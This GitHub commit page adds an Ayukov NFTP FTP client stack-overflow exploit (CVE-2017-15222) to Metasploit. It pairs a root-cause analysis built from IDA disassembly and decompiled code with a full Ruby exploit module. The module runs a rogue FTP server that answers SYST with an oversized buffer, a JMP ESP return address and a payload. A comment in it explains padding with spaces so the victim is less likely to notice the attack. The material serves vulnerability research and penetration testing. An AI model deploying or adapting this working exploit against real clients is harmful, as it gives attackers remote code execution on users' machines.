Skip to content

Commit b8dde2e

Browse files
committed
Land rapid7#9360, Ayukov NFTP FTP client buffer overflow vulnerability
Land rapid7#9360
2 parents 7849155 + 04cf301 commit b8dde2e

File tree

2 files changed

+297
-0
lines changed

2 files changed

+297
-0
lines changed
Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
# Ayukov NFTP FTP Client Stack Buffer Overflow Analysis
2+
3+
## Introduction
4+
5+
Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in
6+
2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it
7+
handles the server input.
8+
9+
The exploit was tested on Windows XP SP3 (English).
10+
11+
## Vulnerable Application
12+
13+
The vulnerable copy can be [downloaded from Exploit-DB](https://www.exploit-db.com/apps/a766d928899200ed6a21f7c790b5cbe5-nftp-1.71-i386-win32.exe).
14+
15+
## PoC
16+
17+
A submission was made to Metasploit as [PR #9360](https://github.com/rapid7/metasploit-framework/pull/9360). Here's an example of how to crash the FTP client:
18+
19+
```ruby
20+
# Let the client log in
21+
client.get_once
22+
23+
user = "331 OK.\r\n"
24+
client.put(user)
25+
26+
client.get_once
27+
pass = "230 OK.\r\n"
28+
client.put(pass)
29+
30+
sploit = "A"*4116
31+
sploit << [target.ret].pack('V') # JMP ESP here
32+
sploit << "\x90"*16
33+
sploit << payload.encoded
34+
sploit << "C" * (15000 - 4116 - 4 - 16 - payload.encoded.length)
35+
sploit << "\r\n"
36+
37+
client.put(sploit)
38+
39+
client.get_once
40+
pwd = "257\r\n"
41+
client.put(pwd)
42+
client.get_once
43+
```
44+
45+
## Root Cause Analysis
46+
47+
When serving the PoC against the vulnerable app, the client's command prompt shows:
48+
49+
```
50+
12:28:43 331 OK.
51+
12:28:43 USER anonymous
52+
12:28:43 230 OK.
53+
12:28:43 Successfully logged in as '[email protected]'
54+
12:28:43 SYST
55+
12:28:43 .................. Lots of AAAAAs here .....................
56+
12:28:43 TYPE I
57+
12:28:43 257
58+
```
59+
60+
The interesting part here is that when the client sends a ```SYST``` request, the server responds
61+
with a long string of data attempting to cause a crash. This would be a good starting point to
62+
investigate the root cause.
63+
64+
With IDA Pro, we can tell that the ```SYST``` string is at the following location:
65+
66+
```
67+
.text:004096B6 ; char aSyst[]
68+
.text:004096B6 aSyst db 'SYST',0 ; DATA XREF: sub_409978+B8Co
69+
```
70+
71+
When we cross reference, we can tell this is used by the ```OpenControlConnection``` function.
72+
Although there is no symbol to identify the actual function name "OpenControlConnection", the
73+
debugging message at the beginning of the function is a big hint:
74+
75+
```C
76+
int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
77+
{
78+
sub_45AF40(savedregs);
79+
*(_DWORD *)&name.sa_data[10] = a2;
80+
*(_DWORD *)&name.sa_data[6] = a3;
81+
*(_DWORD *)&name.sa_data[2] = a1;
82+
if ( !dword_477AEC )
83+
sub_419B4C(1);
84+
while ( 1 )
85+
{
86+
while ( 1 )
87+
{
88+
do
89+
{
90+
sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]);
91+
...
92+
```
93+
94+
Anyway, inside the OpenControlConnection function, we can see that the ```SYST``` command is
95+
requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this
96+
way):
97+
98+
```
99+
.text:0040A504 push offset aSyst ; "SYST"
100+
.text:0040A509 lea eax, [ebp+charResBuffer]
101+
.text:0040A50F push eax ; charResBuffer
102+
.text:0040A510 lea eax, [ebp+args]
103+
.text:0040A516 push eax ; int
104+
.text:0040A517 push 0 ; int
105+
.text:0040A519 call SendFTPRequest
106+
```
107+
108+
Inside the SendFTPRequest function, it looks like this:
109+
110+
```C
111+
int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...)
112+
{
113+
char *v4; // ebx@0
114+
int v5; // edi@0
115+
int v6; // esi@0
116+
char *v7; // edx@1
117+
char Dst[16384]; // [esp+18h] [ebp-4000h]@2
118+
char *savedregs; // [esp+4018h] [ebp+0h]@1
119+
va_list va; // [esp+4030h] [ebp+18h]@1
120+
121+
va_start(va, Format);
122+
sub_45AF40(savedregs);
123+
savedregs = v4;
124+
v7 = Format;
125+
if ( Format )
126+
{
127+
v4 = Dst;
128+
// This actually checks the input for the FTP command from the client.
129+
// The 0x4000u indicates the string should not be longer than that, otherwise
130+
// there will be a buffer overflow warning in this function.
131+
snprintf1(Dst, 0x4000u, Format, va);
132+
v7 = Dst;
133+
}
134+
return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7);
135+
}
136+
```
137+
138+
We were able to tell the second argument for ```SendFTPRequest``` is actually a buffer for receiving
139+
the server's response, because the way it is used:
140+
141+
```C
142+
result = SendFTPRequest(0, (int)args, charResBuffer, "SYST");
143+
if ( result == -4 )
144+
return result;
145+
if ( result )
146+
goto LABEL_231;
147+
if ( *(_DWORD *)args == 2 )
148+
{
149+
sub_445CEC(charResBuffer);
150+
if ( strstr(charResBuffer, "unix") )
151+
{
152+
if ( strstr(charResBuffer, "powerweb") )
153+
{
154+
*(_DWORD *)dword_47B1E0 = 6;
155+
goto LABEL_206;
156+
}
157+
}
158+
...
159+
```
160+
161+
In addition, this buffer is actually on the stack, and it's 4096 long:
162+
163+
```
164+
-00001010 charResBuffer db 4096 dup(?)
165+
```
166+
167+
This means that if the server responds with something longer than 4096 bytes for the ```SYST``` request,
168+
the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of
169+
```OpenControlConnection```, the ```RETN``` ends up loading the corrupt data, which may lead to
170+
arbitrary code execution:
171+
172+
```
173+
.text:0040AC39 lea esp, [ebp-2048h]
174+
.text:0040AC3F pop ebx
175+
.text:0040AC40 pop esi
176+
.text:0040AC41 pop edi
177+
.text:0040AC42 leave
178+
.text:0040AC43 retn
179+
```
180+
181+
Since whoever is using ```SendFTPRequest``` is responsible for providing the buffer of the server
182+
response, and there are 47 other cross-references, it is possible there are different ways to
183+
trigger the same bug. And since it doesn't look like there is a patch (because the product is
184+
no longer in active development, from the exploit developer's perspective, it is not necessary
185+
to look for other ways to exploit it).
186+
187+
## References
188+
189+
https://nvd.nist.gov/vuln/detail/CVE-2017-15222
Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = NormalRanking
8+
9+
include Msf::Exploit::Remote::TcpServer
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
14+
'Description' => %q{
15+
This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
16+
Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
17+
is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
18+
code exeuction under the context of the user if successfully exploited.
19+
},
20+
'Author' =>
21+
[
22+
'Berk Cem Goksel', # Original exploit author
23+
'Daniel Teixeira', # MSF module author
24+
'sinn3r' # RCA, improved module reliability and user exp
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
[ 'CVE', '2017-15222'],
30+
[ 'EDB', '43025' ],
31+
],
32+
'Payload' =>
33+
{
34+
'BadChars' => "\x00\x01\x0a\x10\x0d",
35+
'StackAdjustment' => -3500
36+
},
37+
'Platform' => 'win',
38+
'Targets' =>
39+
[
40+
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
41+
],
42+
'Privileged' => false,
43+
'DefaultOptions' =>
44+
{
45+
'SRVHOST' => '0.0.0.0',
46+
},
47+
'DisclosureDate' => 'Oct 21 2017',
48+
'DefaultTarget' => 0))
49+
50+
register_options(
51+
[
52+
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
53+
])
54+
end
55+
56+
def exploit
57+
srv_ip_for_client = datastore['SRVHOST']
58+
if srv_ip_for_client == '0.0.0.0'
59+
if datastore['LHOST']
60+
srv_ip_for_client = datastore['LHOST']
61+
else
62+
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
63+
end
64+
end
65+
66+
srv_port = datastore['SRVPORT']
67+
68+
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
69+
super
70+
end
71+
72+
def on_client_connect(client)
73+
return if ((p = regenerate_payload(client)) == nil)
74+
print_status("#{client.peerhost} - connected")
75+
76+
# Let the client log in
77+
client.get_once
78+
79+
print_status("#{client.peerhost} - sending 331 OK")
80+
user = "331 OK.\r\n"
81+
client.put(user)
82+
83+
client.get_once
84+
print_status("#{client.peerhost} - sending 230 OK")
85+
pass = "230 OK.\r\n"
86+
client.put(pass)
87+
88+
# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
89+
# is visible from the user's command prompt, which would make the buffer overflow attack too
90+
# obvious.
91+
sploit = "\x20"*4116
92+
93+
sploit << [target.ret].pack('V')
94+
sploit << make_nops(10)
95+
sploit << payload.encoded
96+
sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
97+
sploit << "\r\n"
98+
99+
print_status("#{client.peerhost} - sending the malicious response")
100+
client.put(sploit)
101+
102+
client.get_once
103+
pwd = "257\r\n"
104+
client.put(pwd)
105+
client.get_once
106+
107+
end
108+
end

0 commit comments

Comments
 (0)